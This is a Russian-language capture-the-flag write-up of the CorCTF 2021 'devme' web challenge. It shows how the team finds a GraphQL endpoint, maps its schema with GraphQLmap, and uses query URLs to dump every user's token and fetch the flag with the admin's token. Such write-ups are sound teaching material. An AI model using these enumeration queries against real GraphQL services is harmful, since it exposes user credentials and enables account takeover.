CorCTF 2021 web/devme

Наше не особо великое путешествие в мир CTF как цельной команды началось именно с данного мероприятия — CorCTF 2021. И первым же делом в наши руки попало задания раздела Web. Данное задание было из ряда простых и по статистике решалось за час, но нам пришлось с ним изрядно повозиться…

Задание

При переходе по ссылке нас встречал сайт всего с одной формой и кнопкой «Send»

Форма в подвале сайта

Вводим рандомные данные и нажимаем Send. Ах да! Перед этим не забываем о такой великолепной программе как Burp Suite!

POST /graphql HTTP/1.1
Host: devme.be.ax
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: /
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://devme.be.ax/
Content-Type: application/json
Origin: https://devme.be.ax
Content-Length: 141
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{«query»:»mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n»,»variables»:{«email»:»[email protected]»}}

По запросу не сразу понятно что тут происходит так как сталкиваемся в этим впервые, но несколько минут в Гугле нам сообщают что тут используется язык запросов GraphQL.

Еще чуть больше углубились в интернет и нашли великолепный инструмент GraphQLmap на GitHub от swisskyrepo. Спасибо ему большое!

Использование GraphQLmap

На схеме видно, что есть запрос flag, но ему нужно передать параметр token. Также видна таблица users, в которой два параметра, token и username. Попробуем вывести таблицу users подставив запрос в URL!

https://devme.be.ax/graphql?query={users{username +token}}

Нам выпадает огромный список пользователей и их токенов! И что не удивительно учетная запись admin тут тоже есть и она не закодирована как остальные…

База пользователь + токен

Почему бы нам не попробовать подставить в наш запрос к флагу токен нашего любимого админа?

https://devme.be.ax/graphql?query={flag(token:%20%223cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b%22)}

И о великие духи! Мы получаем наш заветный флаг!

Flag!

Спасибо что дочитал до конца!
Всем удачи и до встречи на играх! :Р

Оставьте комментарий